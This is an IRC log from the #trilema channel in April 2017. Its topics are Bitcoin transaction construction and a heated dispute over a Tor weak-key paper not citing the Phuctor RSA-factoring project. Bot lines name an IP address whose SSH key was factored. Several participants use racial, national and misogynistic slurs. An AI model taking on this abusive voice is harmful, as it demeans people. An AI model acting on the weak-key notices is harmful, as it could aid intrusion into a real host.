1637518;1491352671;asciilifeform;believe moar 'polls'. 1637519;1491352729;asciilifeform;http://btcbase.org/log/2017-04-04#1637496 << how does that work? 1637520;1491352729;a111;Logged on 2017-04-04 23:34 pete_dushenski: in other bids and asks, insurers are slapping safety conscious car buyers with HIGHER premiums. lol as they should. http://archive.is/nUH19 . http://btcbase.org/log/2017-04-04#1637487 being the controlling point. 1637521;1491353427;Framedragger;phf: ah, ty! 1637522;1491354013;mircea_popescu;if anyone had asked the uktards anything it'd even make a difference what they thought. 1637523;1491354678;*;CompanionCube is a uktard but doesn't particularly like it. There's not exactly much to like at the moment. 1637524;1491358303;mircea_popescu;my sympathies. 1637525;1491359049;BingoBoingo;asciilifeform: Works because expensive safety shit is in vulnerable areas and costs much to fix. 1637526;1491359613;mircea_popescu;aand in today's random lulz, http://poeticdesires.com/2017/02/1-29-17-reparations/ 1637527;1491359637;mircea_popescu;tl;dr tedious poetess grabs some bread and meat for the ancestors. reparations, bitch!!1 1637528;1491359829;shinohai;I have met camgirls that play on this reparations thing ...gotta make dem white bois squeal 1637529;1491359885;mircea_popescu;hey, if it works... 1637530;1491359940;shinohai;Whether it be Aunt Jemimah or Anti-Semitic Russians, long as I get mine. 1637531;1491360051;mircea_popescu;heh in other lulz : archive.is apparently purged all trilema saves older than sept 2016. 1637532;1491360064;mircea_popescu;i somehow don't believe that thing actually works as long term archiving anymore. 1637533;1491360108;shinohai;O.o 1637534;1491360129;mircea_popescu;hm. or else it's an indexing problem. ancient links seem to work. 1637535;1491360168;mircea_popescu; http://archive.is/M2wff for instance. 1637536;1491362359;*;lobbes smells a tmsr archive server in the future 1637537;1491362469;ben_vulpes;kindergarten ouch 1637538;1491362649;ben_vulpes;hey how about this for a "txouts for later use in baking transactions" serialization format: textfile , with contents 1637539;1491362711;ben_vulpes;davout, trinque, mod6, mircea_popescu, danielpbarron, diana_coman, phf, jurov ^^ 1637540;1491362784;asciilifeform;ben_vulpes: this for wallets? 1637541;1491362808;ben_vulpes;"wallets" 1637542;1491362854;ben_vulpes;eg produce some data a user can use on an entirely separate box to make and sign txns for rebroadcast however 1637543;1491362873;ben_vulpes;oop meat bbl 1637544;1491366510;mircea_popescu;ben_vulpes pretty sure you also need the block hash somewhere 1637545;1491368850;ben_vulpes;mircea_popescu: point me to a 'somewhere', if you'd be so kind 1637546;1491368971;ben_vulpes;http://btcbase.org/log/2017-04-04#1636874 << directly relevant. afaict, producing a transaction with trb code boils down to making a 'ctransaction' with 'vin's shaped per the constructor http://btc.yt/lxr/satoshi/source/src/main.h?v=wires_rev1#0261 1637547;1491368971;a111;Logged on 2017-04-04 00:23 ben_vulpes: http://btc.yt/lxr/satoshi/source/src/main.h?v=wires_rev1#0261 << kinda looks like all one needs to bake CTxIn's is the hash of the transaction and output index, can someone spot check this for me? 1637548;1491368982;ben_vulpes;plus outputs, plus signing 1637549;1491369040;ben_vulpes;but ben_vulpes steals time from mary to pay peter or how did it go, must away again 1637550;1491391791;shinohai;Lel, I finally got around to checking that tardstalk thread mircea_popescu, re: https://bitcointalk.org/index.php?topic=1837136.msg18367669#msg18367669 1637551;1491391795;shinohai;"Free feel to pass on my question, so he can prepare. 1637552;1491391796;shinohai;Q: who here in this circle-jerk sycophant orgy supports the delusion of ideal money, given that Buttcoin is an anti-fragile standard top-down controlled by whales? Ideal for whom? No need to wait for the lulz." 1637553;1491397228;mircea_popescu;shinohai i have nfi what that is but anyway. 1637554;1491397494;mircea_popescu;http://btcbase.org/log/2017-04-05#1637547 << you certainly need the pubkey of the input address, which was back in the day the rationale behind the whole "don't reuse addresses" thing -- the pubkey of an address which has paid before is known ; the pubkey of an address which has not paid before isn't known. 1637555;1491397494;a111;Logged on 2017-04-05 05:09 a111: Logged on 2017-04-04 00:23 ben_vulpes: http://btc.yt/lxr/satoshi/source/src/main.h?v=wires_rev1#0261 << kinda looks like all one needs to bake CTxIn's is the hash of the transaction and output index, can someone spot check this for me? 1637556;1491397702;mircea_popescu;ben_vulpes take for instance 09f691b2263260e71f363d1db51ff3100d285956a40cc0e4f8c8c2c4a80559b1 : it spends bitcoin produced in the genesis block, and it thereby uses the hash of that block. 1637557;1491397771;mircea_popescu;(ie, if you don't also save the block hash, you can't do some edge cases of (currently mostly unsupported, but historically used) txn. 1637558;1491398099;asciilifeform;http://btcbase.org/log/2017-04-05#1637556 << it does no such thing: genesis block is unspendable ( originally from a bug in shitoshi's tx db, but since cemented ) 1637559;1491398099;a111;Logged on 2017-04-05 13:08 mircea_popescu: ben_vulpes take for instance 09f691b2263260e71f363d1db51ff3100d285956a40cc0e4f8c8c2c4a80559b1 : it spends bitcoin produced in the genesis block, and it thereby uses the hash of that block. 1637560;1491398121;mircea_popescu;in other random lulz / things nobody notices, http://btcbase.org/log/2014-02-21#521918 <<->> https://www.theregister.co.uk/2014/05/18/bitcoin_user_stoned_on_virus_warnings/ 1637561;1491398121;a111;Logged on 2014-02-21 23:32 mircea_popescu: asciilifeform remember Stoned B ? 1637562;1491398170;mircea_popescu;asciilifeform i misstated. it spends bitcoin (from a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b ) for which purpose it needs the genesis block hash 1637563;1491398178;asciilifeform;mircea_popescu: i remember the 'stoned' lul 1637564;1491398204;mircea_popescu;we're never gonna run out of it! such joy. 1637565;1491398220;asciilifeform;mircea_popescu: how does it need the genesisblockhash? 1637566;1491398237;mircea_popescu;some puzzle bs. you might remember we discussed that whole nonsense recently. 1637567;1491398261;mircea_popescu;http://btcbase.org/log/2017-02-25#1618321 << breadcrumb 1637568;1491398261;a111;Logged on 2017-02-25 20:19 mircea_popescu: idiot example #1 : peter todd & prb idiots came up with "a way to do things", which does not in fact work. 1637569;1491398301;asciilifeform;OP_DUP OP_HASH160 788464014149d93b4a6135f3d665a0a2d743e6c3 OP_EQUALVERIFY OP_CHECKSIG 1637570;1491398309;asciilifeform;is what i see in there 1637571;1491398337;mircea_popescu;god i'm going to have to delve into the whole pile of ancient history 1637572;1491398368;asciilifeform;the scripttron offers no such knob as 'gimme a block hash', not in satoshi's thing 1637573;1491398389;mircea_popescu;asciilifeform it\s |OP_HASH256 6fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000 OP_EQUAL| (no sig) 1637574;1491398438;asciilifeform;iirc that was from the tardstalk thread last month 1637575;1491398451;asciilifeform;linked last mo rather 1637576;1491398479;mircea_popescu;http://btcbase.org/log/2017-04-05#1637573 relates to http://btcbase.org/log/2017-04-05#1637562 and is in response to http://btcbase.org/log/2017-04-05#1637570 1637577;1491398479;a111;Logged on 2017-04-05 13:19 mircea_popescu: asciilifeform it\s |OP_HASH256 6fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000 OP_EQUAL| (no sig) 1637578;1491398479;a111;Logged on 2017-04-05 13:16 mircea_popescu: asciilifeform i misstated. it spends bitcoin (from a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b ) for which purpose it needs the genesis block hash 1637579;1491398479;a111;Logged on 2017-04-05 13:18 asciilifeform: is what i see in there 1637580;1491398483;mircea_popescu;plox use better antecedents. 1637581;1491398554;asciilifeform;mircea_popescu: aah i was looking at output, you have he input , yes 1637582;1491398559;mircea_popescu;yeah. 1637583;1491398591;mircea_popescu;now then : 09f691b2263260e71f363d1db51ff3100d285956a40cc0e4f8c8c2c4a80559b1 spends a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b ; for this purpose it actually uses the genesis block hash. 1637584;1491398600;mircea_popescu;this is an artefact of ancient idiocy, but what can i say. 1637585;1491398601;asciilifeform;but how does this 'need genesis block' ? yes it's a miner puzzle that uses genesis block as key. it could have just as easily used bible as key. 1637586;1491398618;asciilifeform;or goats.jpg's hash 1637587;1491398619;mircea_popescu;well... it's in there. 1637588;1491398663;asciilifeform;this is not equivalent to 'you need a block hash to form a tx'. in point of fact you do not . 1637589;1491398692;mircea_popescu;yeah, on contemplation it's not actually used for anything "standard" so to speak, is it. 1637590;1491398753;asciilifeform;not outside block header, nope 1637591;1491398772;mircea_popescu;yeah. okay. 1637592;1491398778;mircea_popescu;memory is a fuzzy thing. 1637593;1491398792;*;asciilifeform still brainmelting over the 'txid is not unique' horrors 1637594;1491398819;mircea_popescu;there is that. but his proposed de facto multiindex (block height txn height txid) works. 1637595;1491398930;asciilifeform;it worx internally (in e.g., nqb) but the mere fact of tx replacement idiocy being supported in shitoshi's turd, means that a tx is not, in principle, self-contained, can mean entirely different movement if meanwhile its txid got recycled 1637596;1491398982;mircea_popescu;txn is unique within block, not in global space, would at least make some sense. 1637597;1491399034;asciilifeform;( per http://btc.yt/lxr/satoshi/source/src/main.cpp?v=wires_rev1#0968 , and last thread re same ) 1637598;1491399095;asciilifeform;thing is, there is NO sane (i.e. o(1)) way to index without demanding unique global txid. 1637599;1491399169;asciilifeform;tx replacement , and the mere contemplation of 'pruning', are a carefully crafted enemy rot weapon. 1637600;1491399450;mircea_popescu;asciilifeform blocks are unique (for storage) so you could compose it out of say height.txid 1637601;1491399630;asciilifeform;for ~internal~ index 1637602;1491399634;mircea_popescu;yes. 1637603;1491399639;asciilifeform;see the difference though ? 1637604;1491399652;mircea_popescu;yes. what do you want me to do, shit antimatter ingots ? 1637605;1491399656;asciilifeform;shitoshi's tx format still uses only txid. 1637606;1491399695;mircea_popescu;myeah 1637607;1491399727;asciilifeform;i propose a declaration of 'tx replacement is an attack against sane bitcoin and whoever does it, is the forker, and not us, who thereafter ban it in trb and subsequent proggies.' 1637608;1491399760;asciilifeform;even though shitoshi, through having been dropped as a child, theoretically permitted it. 1637609;1491399800;mircea_popescu;understand something about "declarations" in this vein : they themselves are an attack, if you can't universally enforce them. the us collapsed out of an attempt to declare that "they, not us, are the bad guys" without the actual strength to enforce this ; so did the soviet union, and so does every inept mother who tries to tell her kid what to do out of line. 1637610;1491399815;asciilifeform;tru!! 1637611;1491399827;mircea_popescu;right or wrong make absolutely no difference, even though it's how the female brain gets caught in this 1637612;1491399835;mircea_popescu;as it expects somehow "what's right" to matter naturally. 1637613;1491399873;asciilifeform;i can only describe the known cuts here. it's this, or live with no-sane-index and geometric-grinds-to-a-halt. 1637614;1491399878;asciilifeform;afaik. 1637615;1491399933;mircea_popescu;this item clearly gets rolled up into the "either move to ib or die with prb" eventual fork. 1637616;1491399947;mircea_popescu;and in ib, i expect the correct indexing will still be block height . tx index. 1637617;1491399995;asciilifeform;aha 1637618;1491400013;mircea_popescu;there's by now a list of about 3-4 of these, all of them similarily sufficient on own strength. 1637619;1491400049;asciilifeform;( in unrelated lulz, https://nymity.ch/anomalous-tor-keys/ << guess who not cited!111 ) 1637620;1491400061;mircea_popescu;this is entirely not lulz. 1637621;1491400112;mircea_popescu;i guess we send email. 1637622;1491400119;asciilifeform;( goes straight from heninger etc 'Most recently, in 2016, Hastings et al. [3] revisited the problem of weak keys and investigated how many such keys were still on the Internet four years after the initial studies. ' ) 1637623;1491400162;*;asciilifeform sings tom lehrer's 'Plagiarize!' 1637624;1491400181;mircea_popescu;(somebody plox send to asn@torproject.org claudiar@princeton.edu laurar@csa.princeton.edu an' pwinter@cs.princeton.edu a notice saying "you forgot to quote phuctor, you dorks".) 1637625;1491400186;asciilifeform;'let no one else's work evade! your eyes!!11' 1637626;1491400211;*;Framedragger knows phf and asn from that list personally and knows for certain that they didn't 'plagiarize' from phuctor. but whatever, if phuctor not cited, it's plagiarism because independent thought not possible, etc. 1637627;1491400223;mircea_popescu;ima file a complaint with the princeton plagiarism police. 1637628;1491400226;asciilifeform;Framedragger: didja read the quoted bit ? 1637629;1491400234;mircea_popescu;Framedragger you can not klnow such a thing. 1637630;1491400285;Framedragger;how about "was discussed in developer meetings *long ago*" (the counter will be "you didn't tell us then so FU", so w/e i guess.) 1637631;1491400294;asciilifeform;ignoring 5 yrs of prior art will get you nailed in patent court, but in 'academia' it is apparently quite all right, so log as it is 'terrorist' prior art 1637632;1491400301;mircea_popescu;Framedragger what was discussed "in a mailing list long ago" 1637633;1491400337;Framedragger;not mailing list, but in person in munich, paris, etc. (granted, "taking my word for it" is not exactly a great argument.) 1637634;1491400367;mircea_popescu;in other lulz : try and find WHERE you register a complaint with teh fucking shitshow that pretends to be a university. 1637635;1491400386;Framedragger;possible weaknesses of rsa keys and the idea to run a "your relay key is weak" service as part of tor metrics infrastructure (tor metrics itself is an old project, ca. 2011) 1637636;1491400391;mircea_popescu;Framedragger what was discussed in developer meetings long ago ? "dude wouldn't irt be cool if i invented flight ???" 1637637;1491400399;Framedragger;^ 1637638;1491400404;mircea_popescu;this was discussed in developer meetings cca michelangelo. what of it ? 1637639;1491400419;Framedragger;so, phuctor didn't originate the idea, is all. 1637640;1491400424;asciilifeform;two separate frauds here 1637641;1491400439;Framedragger;what particular paragraph ticked you off on https://nymity.ch/anomalous-tor-keys/ asciilifeform? 1637642;1491400442;asciilifeform;~euclid~ originated 'the idea' 1637643;1491400473;asciilifeform;Framedragger: section 3 in entirety 1637644;1491400476;Framedragger;okay i think i know how trinque feels when being side-dragged into non sequiturs. 1637645;1491400479;Framedragger;ok, reading. 1637646;1491400507;mircea_popescu;Framedragger the "originate the idea" hogwash is ridiculouys. next you'\re going to bring defenses in copyright cases based on "grimm brothers didn't invent the alphabet so therefore ineptitude is a ok!!1" 1637647;1491400514;asciilifeform;goes straight from heninger, who, while a hot chick, never published the actual data ! 1637648;1491400521;asciilifeform;to another similar derp in 2016 1637649;1491400566;Framedragger;asciilifeform: wait you must mean some other page than https://nymity.ch/anomalous-tor-keys/ because para 3 on there starts with "What does our work mean for Tor users?" 1637650;1491400567;asciilifeform;studiously ignoring the years in between. because they contain -- solely -- phuctor. 1637651;1491400577;asciilifeform;Section 3 , Framedragger 1637652;1491400587;deedbot;http://trilema.com/2017/minigame-smg-march-2017-statement/ << Trilema - MiniGame (S.MG), March 2017 Statement 1637653;1491400595;asciilifeform;'Related Work' 1637654;1491400623;asciilifeform;in https://nymity.ch/anomalous-tor-keys/pdf/anomalous-tor-keys.pdf . 1637655;1491400644;Framedragger;ah! ty. 1637656;1491400726;Framedragger;asciilifeform: ok i've read it; so your chief issue is that they didn't mention phuctor in-between the initial 2012 study and the 2016 years correct? i mean, bear with me, i'm not baiting. 1637657;1491400733;asciilifeform;the 'nothing to see here, move along, it was all this one d00d with broken key gen' aspect is also lulzy. 1637658;1491400742;Framedragger;and you absolutely cannot fathom the humble thought that they simply didn't hear about phuctor? 1637659;1491400805;asciilifeform;Framedragger: tall order, it gets crawled every 3 sec. and is ~top hit for, e.g., ~every pgp keyid on the planet. 1637660;1491400810;asciilifeform;so nope, nice try. 1637661;1491400832;Framedragger;top hit for every pgp keyid? that's pretty neat. 1637662;1491400843;asciilifeform;long keyid. 1637663;1491400853;Framedragger;aha right. 1637664;1491400919;Framedragger;well, my relay descriptor search service also got crawled loads, but the fact that people didn't know about it wasn't because people ignored it; but just that meat-people (not bots) weren't aware of it. 1637665;1491400949;asciilifeform;Framedragger: i wrote to, e.g., bernstein, more than once. 1637666;1491400955;asciilifeform;and to others. 1637667;1491400956;Framedragger;granted, phuctor gets crawled *more* / *a lot* (i presume, from what you had been telling). so i understand the incredulity of "you haven't heard?!!" 1637668;1491400965;asciilifeform;they ~know~ 1637669;1491400982;asciilifeform;this defense is simply not available, Framedragger , 'we didn't know'. 1637670;1491400988;Framedragger;the fact that djb knows and ignores does indeed speak ill of him, i agree. 1637671;1491401003;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7232807AAC462CD20992D2246A28C5DA1B22375772CB8C9C4D8AD53B8EC873AC << Recent Phuctorings. - Phuctored: 1673...4139 divides RSA Moduli belonging to '194.135.30.143 (ssh-rsa key from 194.135.30.143 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1637672;1491401003;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7232807AAC462CD20992D2246A28C5DA1B22375772CB8C9C4D8AD53B8EC873AC << Recent Phuctorings. - Phuctored: 1434...1633 divides RSA Moduli belonging to '194.135.30.143 (ssh-rsa key from 194.135.30.143 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1637673;1491401026;asciilifeform;and various media folx ( the risky.biz people, i wrote to several times also , for instance. 0 reply. ) 1637674;1491401036;asciilifeform;years of this nonsense. 1637675;1491401065;Framedragger;well, why don't i (unless someone else already planned to do it first?) write to those folks on that ML, informing of phuctor, to see their response? maybe futile at this point and useless, but at least a more constructive reaction. 1637676;1491401087;asciilifeform;Framedragger: do you recall the seclist thread ? 1637677;1491401099;Framedragger;if they ignore then - i'll donate to bitcoin foundation a bit for generating noise. 1637678;1491401105;asciilifeform;i in fact did 'write to their ml', review what came of it. 1637679;1491401118;Framedragger;asciilifeform: the one with whatshisname, the german? 1637680;1491401124;Framedragger;aha. 1637681;1491401126;mircea_popescu;http://wotpaste.cascadianhacker.com/pastes/0DIXy/?raw=true 1637682;1491401127;asciilifeform;boeck aha 1637683;1491401157;Framedragger;did you send this already mircea_popescu lol 1637684;1491401167;asciilifeform;mircea_popescu: i'd include the 'why' 1637685;1491401195;mircea_popescu;yes. 1637686;1491401206;mircea_popescu;asciilifeform i'll include the why in a formal proceeding. let them FIRST clean up their act 1637687;1491401227;mircea_popescu;since when the fuck does stern look @ slavegirl include litany of misdeeds ? let HER know what she did wrong and let HER fix it. 1637688;1491401246;*;asciilifeform suspects that it'll end the same way as all of the other cases 1637689;1491401264;Framedragger;mircea_popescu: what original thing did they take from phuctor, may i ask? 1637690;1491401277;mircea_popescu;you mean, on the public record ? so next time starry-eyed Framedragger walks in and is all "oh, princeton, respectable institution" i link him above3 and he has to somehow deal with the cognitive dissonance ? 1637691;1491401294;mircea_popescu;Framedragger you've not any standing to ask, so i guess you mayn't ask. 1637692;1491401332;asciilifeform;Framedragger: there is more than one way to steal. 1637693;1491401347;Framedragger;there is no cognitive dissonance in my mind. i know those peeps personally and also simultaneously do not observe any plagiarism. they used things from those 2012 and 2016 projects. 1637694;1491401349;mircea_popescu;fucking ridiculous question. "what did soviet nuclear programme take from allies ? IT IS ALL BASIC SCIENCE!! THERES NAPKINS WITH FARTS DRAWN ON THEM SINCE 1933!111!!" 1637695;1491401373;mircea_popescu;Framedragger if that's what you believe, fine by me. 1637696;1491401389;Framedragger;(i certainly do not have any intention to troll.) 1637697;1491401424;mircea_popescu;look, there's people with all sorts of strange beliefs. i'm not in the business of forcing ideological compatibility. you can live with it, more power to you. 1637698;1491401460;mircea_popescu;also, i invented blackface last week. want to see the first best greatest blackface performance in history of world ? 1637699;1491401484;Framedragger;for sure :) 1637700;1491401489;mircea_popescu;heh. 1637701;1491401528;mircea_popescu;http://trilema.com/2014/the-two-aspects-of-my-urban-negro/ << there you go. 1637702;1491401555;mircea_popescu;(there was also some work done with blackface in 1715, but that was in france. that's it though, since 1715!) 1637703;1491401572;Framedragger;:D 1637704;1491401594;mircea_popescu;mp's genuine original theatre. doing things that are useful and interesting. give me tax money nao! 1637705;1491401600;*;Framedragger seen that post, amusing 1637706;1491401605;diana_coman;Framedragger, fwiw there really is no meaningful way to defend that paper 1637707;1491401631;mircea_popescu;Framedragger no you didn't see it because i had a discussion over coffee before taking the pics with a girl, so this matters now. 1637708;1491401697;*;Framedragger quietly swears 1637709;1491401704;Framedragger;diana_coman: why does it need defending? 1637710;1491401727;mircea_popescu;o.O 1637711;1491401742;*;diana_coman is speechless 1637712;1491401786;diana_coman;Framedragger, does that paper seem to you like an honest piece of research work in any shape? 1637713;1491401787;Framedragger;wasn't a rhetorical question. but i certainly do not wish to waste tmsr's cpu cycles, so no need to answer, either 1637714;1491401814;mircea_popescu;no, this is where we waste cycles. too much productivity is bad for management. 1637715;1491401822;Framedragger;diana_coman: i haven't read the method section yet but so far so good. 1637716;1491401837;mircea_popescu;what a difference a decade makes to academic standards i swear. 1637717;1491401859;diana_coman;on a side note, the only truly lulzy part in there is the footnote on page 1 "All four authors contributed substantially and share first authorship. The names are ordered alphabetically" 1637718;1491401890;diana_coman;esp for those in the know of academia-on-the-topic-of-author-order it screams desperate hunger 1637719;1491401912;mircea_popescu;now, i can see the merit in an argument along the lines of "what the fuck do you want mp, research ? how the fuck is that going to happen if you insist on sticking all the cowpokes indoors ? they'll do what they can, nod along with the rest of the "academia". 1637720;1491401929;mircea_popescu;which is the best possible construction i can put on Framedragger 's notions. "hey, this is what college MEANS NOW. sorry." 1637721;1491401933;Framedragger;btw the "which onion services targeted by those malicious relays" part of the paper is quite nice (from initial glance). 1637722;1491402001;Framedragger;i mean, a large part of the paper is exposition. rsa, dht (relevant to how onion services work), etc.; so, it's not *interesting*. but it's not in any particular way shitty. i wouldn't have read it otherwise and certainly do not see it as very valuable. 1637723;1491402013;diana_coman;mircea_popescu, I suppose that's pretty much the thing here: by now this is the "best" one can see from that area 1637724;1491402022;asciilifeform;mircea_popescu: the interesting bit is that the enemy applies mircea_popescu's 'outsiders may NOT have ideas' thing quite well. 'oh, those terrorists made sonething? hiw cute. we'll take it and get $100 mil in grantola.' 1637725;1491402025;diana_coman;a bit like "it's not plagiarising since this is what academia is now" 1637726;1491402029;Framedragger;(still no particular examples why it's bad given, btw) 1637727;1491402036;mircea_popescu;the only problem with this is that it's essentially fraudulent : princeton goes about to old people pretending it's a college, but in reality it's a diploma mill like any other. EXACTLY in the vein of how argentina goes about europe pretending it's a country an' trying to borrow money, when irl it's less of a country than my model train set. 1637728;1491402037;diana_coman;it used to be at least translating useful stuff 1637729;1491402039;Framedragger;why it's bad* 1637730;1491402083;mircea_popescu;diana_coman yeah, recall all the hissy fits about "oh this prof translated work, EVIL!11" 1637731;1491402085;Framedragger;diana_coman: do you take issue with any *particular* points, or just the "alphabetic ordering of names oh no"? 1637732;1491402114;diana_coman;Framedragger, the alphabetic ordering of names is inconsequential; that was just chuckles really 1637733;1491402124;Framedragger;yeah i understand. 1637734;1491402161;mircea_popescu;Framedragger what specifically'd convince you ? 1637735;1491402163;Framedragger;"#trilema dislikes a random irrelevant paper for not having mentioned phuctor; the rest of the discussion is about how academia used to be better." 1637736;1491402178;mircea_popescu;hold on to yer horses young'un. 1637737;1491402195;Framedragger;mircea_popescu: *any* pointers to the methodology; *any* untrue or glossy parts; *any* stretching in the conclusion sectoin. 1637738;1491402201;diana_coman;first and foremost I take issue with pretending that an unaknowledged repackaging of other people's work mostly pretends to be research 1637739;1491402220;asciilifeform;Framedragger: the next act of the opera ( which we've already watched a few times ) is the chorus of seekoority bloggers etc going on and on re the 'discovery' 1637740;1491402233;mircea_popescu;Framedragger alright. does this paper make the statement "we conducted no research of extant art, because [we're too cool for that ; princeton forked off reality ; whatever]" ? 1637741;1491402237;Framedragger;asciilifeform: yes that part is despicable, sure. 1637742;1491402251;asciilifeform;Framedragger: and enabling, is not despicable? 1637743;1491402288;Framedragger;mircea_popescu: no; and in fact they did carry out experiments, in the sense of data being gathered (including new data - about the state of onion DHT.) 1637744;1491402321;Framedragger;asciilifeform: i don't see how this is enabling. by that metric, *everything* is enabling. someone used phuctor to hack into box, phuctor enabled them? 1637745;1491402329;mircea_popescu;Framedragger so if it does not make that statement, it imports, like any research paper EVER, the following "the authors have conducted a full review of extant literature relevant to their topic, and swear that the following list is complete and correct :" 1637746;1491402337;Framedragger;they *did acknowledge the first study* (2012 - before phuctor.) 1637747;1491402342;mircea_popescu;this is usually included by the shorthand string "bibliography" 1637748;1491402352;Framedragger;hmm. 1637749;1491402353;mircea_popescu;did they live up to what they swore to do, in your evaluation ? 1637750;1491402355;asciilifeform;as per mircea_popescu's old piece, 'They tend to show up late at parties because they figure they can always steal the cake anyway, so why bother go early ? Let the suckers figure out first - on their own dime - where the good cakes are' 1637751;1491402389;Framedragger;mircea_popescu: i see what you mean. do you think this "it then necessarily follows" is truly "necessarily"? what do others think? i do see what you mean, tho. 1637752;1491402401;mircea_popescu;this chaining of knowledge, for your info, is the CORE of academia. 1637753;1491402413;mircea_popescu;it exists in nothing and in no way outside of this. this is all it is. raping your students is not relevant 1637754;1491402418;mircea_popescu;failing to maintain the knowledge blockchain - is. 1637755;1491402435;diana_coman;Framedragger, the underlying issue from my point of view is that intellectual dishonesty essentially bars one from claiming to do research; they might be doing advertising, writing, experiments or anything else, but not research since they are not after finding things out as they are, but about finding something to eat or whatever 1637756;1491402474;asciilifeform;thing very quickly degenerates into gaggle of charlatans each of whom goes to look for who will believe him that 'i! i! invented the integral calculus!!!' 1637757;1491402484;asciilifeform;if you don't maintain the chain. 1637758;1491402499;Framedragger;mircea_popescu: i am quite content with their bibliography section. they did not include phuctor (but included the other studies before and after phuctor), and that is a failure on their part. they can be informed and will even perhaps address this point. that does not fail *the whole paper* in my books, however. 1637759;1491402502;mircea_popescu;and yes people take umbrage with very little bullshit, which is not unreasonable, because a) very little bullshit is never alone (we know this, because unlike the dicklets involved, we HAvE EXPERIENCE in the fucking field) and b) it doesn't take much to throw everything off, bullshit compounds while truth decays. 1637760;1491402520;diana_coman;" will even perhaps address this point." <- omfg 1637761;1491402552;mircea_popescu;Framedragger so it doesn't fail it in your book. what of it. i brought a whore to my grandma's dinner once, it didn't disqualify her in my book. that's what books are for. 1637762;1491402561;Framedragger;diana_coman: i don't believe that phuctor is *that* important, yes. 1637763;1491402567;diana_coman;very little bullshit allowed to stand quickly expands until there is (nor can there be) anything else than bullshit 1637764;1491402577;diana_coman;Framedragger, understand: this is not about "importance" 1637765;1491402579;mircea_popescu;Framedragger is this evaluation based on something outside or just emotional ? 1637766;1491402582;Framedragger;mircea_popescu: acknowledged; weak point on my end. 1637767;1491402616;diana_coman;it's like saying "oh, that guy is not 'important' hence his findings can be stolen"? 1637768;1491402620;Framedragger;mircea_popescu: not emotional; in fact i will go further and claim that *your* evaluation stems from a bit of butthurt (which is human, of course.) 1637769;1491402624;mircea_popescu;in what sense first (actually) biggest (actually) project to factor rsa is "not that important" ? who did something more important in the interval and what was it ? 1637770;1491402642;diana_coman;Framedragger, the issue is that it is RELEVANT 1637771;1491402642;mircea_popescu;you can claim all you want, but what's it to do with anything. for all you know i'm drunk. what's that change. 1637772;1491402646;Framedragger;diana_coman: you are forgetting the detail where phuctor wasn't the first to do what it did. 1637773;1491402657;mircea_popescu;except it is, in terms of scale. 1637774;1491402657;asciilifeform;Framedragger: are you familiar with what henninger et al claim to have done vs what they actually made public ? 1637775;1491402674;mircea_popescu;where's the pre-phuctor phuctor ? can i has links ? something ? 1637776;1491402681;asciilifeform;it is in terms of fucking ~publication of data~ 1637777;1491402687;mircea_popescu;and please no hn posts of dorks patting each other on back over "meetings" 1637778;1491402688;asciilifeform;as in, replicability. 1637779;1491402689;Framedragger;asciilifeform: how little of the data is public is indeed *shameful*, and in that regard, phuctor should be lauded for making all data available. 1637780;1491402700;mircea_popescu;Framedragger this is a ridiculous stance. not published = not existing 1637781;1491402707;shinohai;^ 1637782;1491402709;mircea_popescu;what, "i invented cold fusion in 1985" ? 1637783;1491402712;asciilifeform;^ 1637784;1491402722;Framedragger;mircea_popescu: then all of the publications which do not publish raw data are null? 1637785;1491402726;asciilifeform;Framedragger: yes!! 1637786;1491402727;mircea_popescu;"oh yeah, he totally did, here's my testimonial" ?? 1637787;1491402733;mircea_popescu;this is copywriting not research. 1637788;1491402738;mircea_popescu;Framedragger yep. 1637789;1491402741;diana_coman;Framedragger, yes, they are 1637790;1491402751;mircea_popescu;all publications which do not publish the data are newspaper articles. 1637791;1491402755;asciilifeform;Framedragger: this is why we fight. 1637792;1491402762;Framedragger;that's a great stance of course, but i do believe that this disqualifies all but, i don't know, to speculate, "30" publications SINCE THE BEGINNING OF TIME 1637793;1491402763;diana_coman;and the fact that there is a lot of null published doesn't make it less null 1637794;1491402764;mircea_popescu;wtf else would they be and how would they be it. 1637795;1491402786;mircea_popescu;Framedragger this great stance happens to have been held for many years, sucyh as for instance when in 2010 diana_coman didn't sleep a weekend to liberate the ro min of edu's data. 1637796;1491402800;mircea_popescu;because it's the only fucking stance because what the everloving fuck. 1637797;1491402802;Framedragger;100% of psychology papers including early publications; *most* of physics, etc etc. 1637798;1491402815;mircea_popescu;this was an "early publication" now ? 1637799;1491402819;asciilifeform;not replicable --> hokum. 1637800;1491402827;asciilifeform;period. 1637801;1491402846;Framedragger;look, i agree with this attitude; the ssh banners, etc etc are and will remain publicly available. these are *important* standards to have. 1637802;1491402853;Framedragger;i don't disagree there, of course. 1637803;1491402857;mircea_popescu;well so then what do you disagree with ? 1637804;1491402869;Framedragger;i take issue with disqualifying *everything* which does not also publish raw data, though. 1637805;1491402871;mircea_popescu;that we look down at people with "lower" standards ? that we deem "lower" == "absent" ? 1637806;1491402877;mircea_popescu;and why is that ? 1637807;1491402889;Framedragger;it's just too extreme, i believe, and *impractical* (i wonder, did feynman publish raw data?) 1637808;1491402906;mircea_popescu;practical is not a consideration 1637809;1491402916;mircea_popescu;the most practical thing is to write junklets about how potent and sexy obama is all day. 1637810;1491402926;mircea_popescu;THIS is why fucking science is science and not, again, palace literature. 1637811;1491402980;mircea_popescu;besides, you operate on the same exact paradigm, except when you deliberately turn off your brain and any sense of decency to participate with the empire of idiots. witness : if i now say "hey guise, i found way to crack asciilifeform 's key, will publish tomorow" 1637812;1491402995;mircea_popescu;will you mark it as "alf key craked" or "alf key maybe vulnerable, gotta read this tomorrow" ? 1637813;1491403017;Framedragger;well the latter, of course, but how you can stretch this example i'm not sure... 1637814;1491403019;mircea_popescu;early publication == newspaper article. not in any sense research paper. 1637815;1491403034;mircea_popescu;"oh, that hustler bit was interesting". same thing. 